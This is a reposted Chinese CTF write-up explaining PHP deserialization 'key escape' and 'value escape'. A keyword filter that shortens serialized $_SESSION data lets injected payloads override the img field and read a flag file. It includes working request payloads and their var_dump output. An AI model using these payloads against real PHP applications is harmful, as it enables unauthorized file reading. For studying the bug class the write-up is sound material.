PHP   发布时间:2022-04-04  发布网站:大佬教程  code.js-code.com
大佬教程收集整理的这篇文章主要介绍了php 序列化键、值逃逸大佬教程大佬觉得挺不错的,现在分享给大家,也给大家做个参考。

转自https://www.cnblogs.com/wangtanzhi/p/12261610.html

PHP反序列化的对象逃逸

任何具有一定结构的数据,只要经过了某些处理而把自身结构改变,则可能会产生漏洞。
链接
https://blog.csdn.net/a3320315/article/details/104118688/
过滤函数@R_200_6962@
第一种为关键词数增加

例如: where->hacker,这样词数由五个增加到6个。
第二种为关键词数减少
例如:直接过滤掉一些关键词,例如这道题目中。

过滤函数filter()是对serialize($_SESSION)进行过滤,滤掉一些关键字
那么我们有两种方法
键逃逸和值逃逸

值逃逸:
这儿需要两个连续的键值对,由第一个的值覆盖第二个的键,这样第二个值就逃逸出去,单独作为一个键值对

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}&function=show_image

var_dump的结果为:

"a:3{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"

键逃逸:

这儿只需要一个键值对就行了,我们直接构造会被过滤的键,这样值得一部分充当键,剩下得一部分作为单独得键值对

_SESSION[flagPHP]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

var_dump的结果为:

"a:2:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mbGxsbGxsYWc=";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"

这儿得s:7:""之所以为空,是因为我们构造得键flagPHP都是会被过滤得,所以显示为空,这样就能吃掉一部分值了,然后将剩下得值充当另一个对象逃逸出去~~

0|10x01 解题


回到题目,我们首先看源码

过滤函数filter()是对serialize($_SESSION)进行过滤,滤掉一些关键字 正常传img参数进去会被sha1加密,我们应该用别的方法控制$_SESSION中的参数。 本来挺好的序列化的字符串,按某种去掉了一些关键字,本身就不对,本身就涉及到可能破坏原有结构而无法正常反序列化的问题。这里是利用反序列化长度逃逸控制了img参数。之前有一道题目是关键字替换导致字符串长度变长,把后面的原有参数挤出去了, 本题是关键字被置空导致长度变短,后面的值的单引号闭合了前面的值的单引号,导致一些内容逃逸。。 extract后覆盖了两个没用的属性,但是后面又强制加了一个我们不可控的img属性

根据源码,我们先对f传参PHPinfo

php 序列化键、值逃逸

php 序列化键、值逃逸

构造payload来对
d0g3_f1ag.PHP读取。

;s:14:"PHPflagPHPflag";s:7:"xxxxxxx";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

解释一下:
这里首先PHPflagPHPflag会被过滤为空,吃掉一部分值

$serialize_info的内容

a:2:{s:7:"";s:48:";s:7:"xxxxxxx";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";

刚好把后面多余的img部分截断掉

payload:

_SESSION[PHPflag]=;s:7:"xxxxxxx";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

php 序列化键、值逃逸

读取/d0g3_fllllllag
payload:

_SESSION[PHPflag]=;s:14:"PHPflagPHPflag";s:7:"xxxxxxx";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

php 序列化键、值逃逸

链接

https://www.jianshu.com/p/1f44650b0822
https://blog.csdn.net/a3320315/article/details/104118688/

 

大佬总结

以上是大佬教程为你收集整理的php 序列化键、值逃逸全部内容,希望文章能够帮你解决php 序列化键、值逃逸所遇到的程序开发问题。

如果觉得大佬教程网站内容还不错,欢迎将大佬教程推荐给程序员好友。

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
如您有任何意见或建议可联系处理。小编QQ:384754419,请注明来意。
标签: